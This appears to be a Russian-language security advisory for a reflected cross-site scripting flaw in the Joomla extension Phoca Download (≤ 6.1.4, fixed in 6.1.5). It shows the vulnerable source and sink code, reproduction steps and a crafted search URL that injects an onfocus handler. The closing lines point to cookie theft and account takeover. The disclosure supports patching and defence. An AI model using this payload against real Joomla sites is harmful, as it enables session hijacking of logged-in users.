
Отражённый XSS через GET-параметр поиска в Phoca Download
Phoca Download ≤ 6.1.4 — аутентифицированный злоумышленник выполняет произвольный JavaScript через специально сформированный поисковый URL в панели управления пользователя
Phoca Download (com_phocadownload) для Joomla содержит уязвимость отражённого межсайтового скриптинга (XSS) в функциональности поиска файлов в панели управления пользователя. GET-параметр search обрабатывается с помощью фильтра 'string' Joomla — который вызывает только и сохраняет символ — а затем выводится без в HTML-атрибут . Злоумышленник может внедрить произвольные HTML-атрибуты и обработчики событий, которые выполняются в браузере жертвы при загрузке страницы, без необходимости какого-либо взаимодействия с пользователем, кроме перехода по специально сформированной ссылке.
strip_tags()"htmlspecialchars()<input value="">| КОМПОНЕНТ | УЯЗВИМАЯ ВЕРСИЯ | ПРОТЕСТИРОВАНО НА | ИСПРАВЛЕНО |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
Тип: Отражённый межсайтовый скриптинг (CWE-79)
Требуется аутентификация: Зарегистрированный пользователь Joomla (вошедший в систему) + включённая панель управления пользователя (enable_user_cp = 1)
Требуется CSRF-токен: Не требуется — GET-запрос, CSRF-токен на этом пути не проверяется
Файл-приёмник: site/views/user/tmpl/default_files_bootstrap.php
Параметр search считывается с помощью фильтра 'string' Joomla, который вызывает только strip_tags(). Это сохраняет символ ", позволяя злоумышленнику выйти из контекста атрибута value="" и внедрить произвольные HTML-атрибуты.
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — ИСТОЧНИК
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // сохраняется без кодирования
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — ПРИЁМНИК (УЯЗВИМЫЙ)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
Соседнее представление phocadownloadlinkfile (то же расширение) корректно применяет PhocaDownloadUtils::filterValue($search, 'text') — эквивалент htmlspecialchars() — для того же поля поиска. Представление user не применяет ту же защиту, что указывает на непоследовательное кодирование вывода в рамках расширения.
Перейдите на страницу входа в Joomla и пройдите аутентификацию как зарегистрированный пользователь. После успешного входа Joomla перенаправит на страницу профиля пользователя, подтверждая активную сессию.

Перейдите в панель управления пользователя PhocaDownload:
http://TARGET/index.php?option=com_phocadownload&view=user
Страница отображается с пустым полем поиска (value=""). Это нормальное состояние до внедрения.

Перейдите по следующему специально сформированному URL (или введите необработанный пейлоад непосредственно в поле поиска):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D

При загрузке страницы внедрённый атрибут autofocus фокусирует элемент ввода, немедленно запуская обработчик события onfocus. Дальнейшее взаимодействие с пользователем не требуется.
Отображаемый HTML (уязвимый):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookie, что позволяет полностью захватить учётную запись без учётных данных.